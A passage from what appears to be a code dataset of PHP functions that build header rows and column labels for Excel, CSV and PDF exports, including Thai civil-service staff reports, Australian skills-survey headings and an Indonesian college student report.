set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "public static function excelMigrationHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "public static function excelRecruitmentHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "function styleHeaderExcel()\n{\n $styleHeader = array(\n 'font' => array(\n 'size' => 16,\n 'name' => 'Calibri',\n ), 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n ), 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR,\n 'rotation' => 90,\n 'startcolor' => array(\n 'argb' => 'B5B5B5',\n ), 'endcolor' => array(\n 'argb' => 'E0E0E0',\n ),\n ),\n );\n return $styleHeader;\n}", "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSkillsShortagesHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public static function excelStateHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Qualification type',\n 'Employer size'\n ];\n }", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "abstract function getheadings();", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSkillsHeadingsMYSQL()\n {\n return [\n 'skills' => 'Skill type',\n 'agriculture' => 'Agriculture forestry and fishing',\n 'mining' => 'Mining',\n 'manufacturing' => 'Manufacturing',\n 'electricity' => 'Electricity gas water and waste services',\n 'construction' => 'Construction',\n 'w_trade' => 'Wholesale trade',\n 'r_trade' => 'Retail trade',\n 'accommodation' => 'Accommodation and food services',\n 'transport' => 'Transport postal and warehousing',\n 'ict' => 'Information media and telecommunications',\n 'financial' => 'Financial and insurance services',\n 'r_estate' => 'Rental hiring and real estate services',\n 'professional' => 'Professional scientific and technical services',\n 'admin' => 'Administrative and support services',\n 'public' => 'Public administration and safety',\n 'education' => 'Education and training',\n 'health' => 'Health care and social assistance',\n 'arts' => 'Arts and recreation services',\n 'o_services' => 'Other services',\n 'sa_state' => 'South australia'\n ];\n }", "public function header($Arr_Labels=false)\n\t{\n\t\t$this->Arr_Labels = $Arr_Labels;\n\n $Int_Column = 0;\n if ($Arr_Labels)\n {\n\t foreach ($Arr_Labels as $Str_Field => $Str_Label)\n\t\t\t{\n $Str_Column = $Str_Label;\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t\t\t\t$Int_Column++;\n\t }\n\t\t}\n\t\telseif (isset($this->Arr_Data[0]))\n\t\t{\n\t foreach ($this->Arr_Data[0] as $Str_Field => $Str_Label)\n\t\t\t{\n\t\t\t\t$Int_Column++;\n $Str_Column = Inflector::humanize($Str_Field);\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t }\n\t\t}\n\n\t\t//Set the worksheet styles.\n $this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->getStartColor()->setRGB('ffffff');\n $this->Obj_Doc->getActiveSheet()->duplicateStyle( $this->Obj_Doc->getActiveSheet()->getStyle('A1'), 'B1:'.$this->Obj_Doc->getActiveSheet()->getHighestColumn().'1');\n\n\t\tfor ($i = 1; $i <= $Int_Column; $i++)\n\t\t{\n $this->Obj_Doc->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true);\n }\n\n\t\treturn $this;\n\t}", "protected function addheader($filename)\n {\n $excelObject = PHPExcel_IOFactory::load($filename);\n //$excelObject = new PHPExcel();\n $excelObject->getProperties()\n ->setCreator(\"Gemstracker\")\n ->setLastModifiedBy(\"Gemstracker\")\n ->setTitle($this->model->getName());\n\n $activeSheet = $excelObject->getActiveSheet();\n\n $columnHeaders = $this->getColumnHeaders();\n $row = 1;\n\n $exportName = $this->getName();\n\n $i=0;\n $cell = 'A1';\n foreach($columnHeaders as $columnName=>$columnHeader) {\n $column = $this->getColumn($i);\n $cell = $column . $row;\n if (isset($this->data[$exportName]) && isset($this->data[$exportName]['format']) && in_array('formatVariable', $this->data[$exportName]['format'])) {\n $activeSheet->setCellValue($cell, $columnHeader);\n } else {\n $activeSheet->setCellValue($cell, $columnName);\n }\n if ($excelCellSize = $this->model->get($columnName, 'excelCellSize')) {\n $activeSheet->getColumnDimension($column)->setWidth($excelCellSize);\n } else {\n $activeSheet->getColumnDimension($column)->setAutoSize(true);\n }\n $i++;\n }\n\n $activeSheet->getStyle(\"A1:$cell\")->getFont()->setBold(true);\n\n $objWriter = PHPExcel_IOFactory::createWriter($excelObject, \"Excel2007\");\n $objWriter->save($filename);\n }", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "function header() {\n //\n //Get the fields in this sql \n $cols= $this->fields->get_array();\n //\n //Loop through the fields and display the <tds>\n foreach ($cols as $col) {\n //\n $name= is_null($col->alias) ? $col->to_str():$col->alias;\n echo \"<th>$name</th>\"; \n }\n }", "public function __Header(){\n $this->Ln(5);\n $this->SetDrawColor(160,160,160);\n $this->SetFillColor(230,230,230);\n $this->SetTextColor(100);\n $this->SetFont('Arial','B',7);\n $this->SetX(($this->w - $this->_tWidth)/2);\n foreach($this->_fields as $field)\n $this->Cell($field[\"size\"],5,$field[\"header\"],1,0,\"C\",true);\n $this->Ln();\n }", "function DisplayTableHeader()\n{\n\t$pdf = 